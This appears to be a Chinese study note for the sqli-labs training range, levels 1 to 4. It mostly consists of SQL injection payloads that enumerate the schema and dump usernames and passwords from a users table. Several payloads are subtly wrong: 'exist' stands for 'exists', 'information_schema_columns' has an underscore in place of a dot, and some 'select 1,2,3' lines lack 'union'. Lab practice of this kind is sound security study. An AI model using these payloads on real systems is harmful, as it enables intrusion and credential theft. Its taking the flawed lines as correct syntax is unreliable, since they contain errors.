sqli-labs靶场笔记（一）

sqli-labs靶场笔记（一）

Less-01【联合注入|'注入】

下面展示 payload。

id=-1' union select 1,user(),database() --+
id=-1' or exist(select * from information_schema_columns) --+
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
id=-1' union select 1,2,group_concat(0x7e,username,0x7e,password) from security.users --+

判断是否存在注入点

存在注入点

确定属性列数目 | 回显属性

确定属性列为3

确定属性列回显2，3行

查找数据库名 | 用户名

确定数据库为security | 用户名为root@localhost

判断是否存在information_schema.columns | tables表

两表确定存在

查看security数据库下的表

确定表为emails、referers、uagents、users

查看某表中的属性列名

这里以users表为例

确定属性列为id、username、password

查看属性对应值

Less-02【联合注入】

下面展示 payload。

id=-1 union select 1,2,3
id=-1 union select 1,user(),database()
id=-1 or exist(select * from information_schema_columns)
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
id=-1 union select 1,2,group_concat(0x7e,username,0x7e,password) from security.users 

判断是否存在注入点!

存在注入点

确定属性列数目 | 回显属性

确定属性列为3

确定属性列回显2，3行

查找数据库名 | 用户名

确定数据库为security | 用户名为root@localhost

判断是否存在information_schema.columns | tables表

两表确定存在

查看security数据库下的表

确定表为emails、referers、uagents、users

查看某表中的属性列名

这里以users表为例

确定属性列为id、username、password

查看属性对应值

Less-03【联合注入|’)注入】

下面展示 payload。

id=1') and 1=2 --+
id=1') order by 3 --+
id=-1') select 1,2,3 --+
id=-1') or exists(select * from information_schema.columns) --+
id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
id=-1') union select 1,2,group_concat(0x7e,username,0x7e,password) from security.users --+ 

Less-04【联合注入|")注入】

下面展示 payload。

id=1") and 1=2 --+
id=1") order by 3 --+
id=-1") select 1,2,3 --+
id=-1") or exists(select * from information_schema.columns) --+
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
id=-1") union select 1,2,group_concat(0x7e,username,0x7e,password) from security.users --+